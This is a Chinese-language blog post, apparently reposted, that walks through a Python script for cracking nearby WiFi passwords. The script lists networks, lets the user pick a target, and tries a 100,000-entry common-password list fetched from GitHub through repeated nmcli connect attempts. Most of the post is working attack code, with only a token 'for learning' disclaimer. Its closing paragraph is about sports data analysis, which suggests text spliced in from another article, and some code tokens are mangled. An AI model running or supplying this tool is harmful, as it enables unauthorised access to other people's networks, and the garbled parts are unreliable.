WiFi現在已經遍布我們生活方方面面,如今,如論到作業單位,還是租住的房子,或者一家餐廳,隨處都可以連上WiFi,
因此,我們對WiFi密碼的需求也沒有之前那么迫切了,
如何破解WiFi密碼?
本文,將會通過Python教大家如何實作,這里純粹是為了學習用途,
-
WiFi串列 首先,我們需要獲取附近的WiFi串列, 下面,就來寫一個函式來獲取附近的WiFi串列,函式命名為display_targets: def display_targets(networks, security_type): print("Select a target: \n") rows, columns = os.popen('stty size', 'r').read().split() for i in range(len(networks)): width = len(str(str(i+1)+". "+networks[i]+security_type[i]))+2 spacer = " " if (int(columns) >= 100): calc = int((int(columns)-int(width))*0.75) else: calc = int(columns)-int(width) for index in range(calc): spacer += "." if index == (calc-1): spacer += " " print(str(i+1)+". "+networks[i]+spacer+security_type[i]) 這里,我們會用到ssid工具包,用來獲取附近的WiFi串列,存入到引數networks,

?
-
選擇WiFi 獲取WiFi串列之后,下一步要做的就是選擇我們想要連接的WiFi, def prompt_for_target_choice(max): whileTrue: try: selected = int(input("\nEnter number of target: ")) if(selected >= 1and selected <= max): return selected - 1 except Exception as e: ignore = e? print("Invalid choice: Please pick a number between 1 and " + str(max)) 這里很簡單,就是一些通用的Python功能,
-
暴力破解
目前已經獲取并且選擇了想要連接的WiFi,那么如何獲取到它的密碼呢?
這里要用到一種比較常見的方式:暴力破解,
這里,要用到Github上一個專案,它收集了最常用的10萬個WiFi密碼,我們就用著10萬個密碼暴力解鎖WiFi即可,
def brute_force(selected_network, passwords, args):
for password in passwords:
# necessary due to NetworkManager restart after unsuccessful attempt at login
password = password.strip()?
# when when obtain password from url we need the decode utf-8 however we doesnt when reading from file
if isinstance(password, str):
decoded_line = password
else:
decoded_line = password.decode("utf-8")
if args.verbose isTrue:
print(bcolors.HEADER+"** TESTING **: with password '" +
decoded_line+"'"+bcolors.ENDC)?
if (len(decoded_line) >= 8):
time.sleep(3)?
creds = os.popen("sudo nmcli dev wifi connect " +
selected_network+" password "+decoded_line).read()
# print(creds)?
if ("Error:"in creds.strip()):
if args.verbose isTrue:
print(bcolors.FAIL+"** TESTING **: password '" +
decoded_line+"' failed."+bcolors.ENDC)
else:
sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" +
decoded_line+"' succeeded."+bcolors.ENDC)
else:
if args.verbose isTrue:
print(bcolors.OKCYAN+"** TESTING **: password '" +
decoded_line+"' too short, passing."+bcolors.ENDC)?
print(bcolors.FAIL+"** RESULTS **: All passwords failed :("+bcolors.ENDC)
核心功能3個函式就完成了,只用了60行Python代碼!
下面就把它們串聯在一起:
def main():
require_root()
args = argument_parser()?
# The user chose to supplied their own url
if args.url isnotNone:
passwords = fetch_password_from_url(args.url)
# user elect to read passwords form a file
elif args.file isnotNone:
file = open(args.file, "r")
passwords = file.readlines()
ifnot passwords:
print("Password file cannot be empty!")
exit(0)
file.close()
else:
# fallback to the default list as the user didnt supplied a password list
default_url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt"
passwords = fetch_password_from_url(default_url)?
# grabbing the list of the network ssids
func_call = start(1)
networks = func_call[0]
security_type = func_call[1]
ifnot networks:
print("No networks found!")
sys.exit(-1)?
display_targets(networks, security_type)
max = len(networks)
pick = prompt_for_target_choice(max)
target = networks[pick]
print("\nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.")?
brute_force(target, passwords, args)
執行函式,就會在命令列下顯示附近的WiFi串列,選擇之后就開始逐個嘗試密碼,

?
不同的顏色代表不同不同的結果:
現在,是不是發現這個看上去很復雜的事情變得簡單許多?
結語
運動中充滿了各種不同維度的資料,上述只是列舉出一些我個人比較感興趣的維度進行了分析與可視化,
希望,能夠對你有所啟示,能夠發掘更有價值、有趣的資訊,在學習和樂趣中得到最佳的實踐,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/505955.html
標籤:其他
上一篇:K8S安裝metrics-server資料采集組件
下一篇:程式員副業之如何借國慶流量,用換頭像小程式日賺500?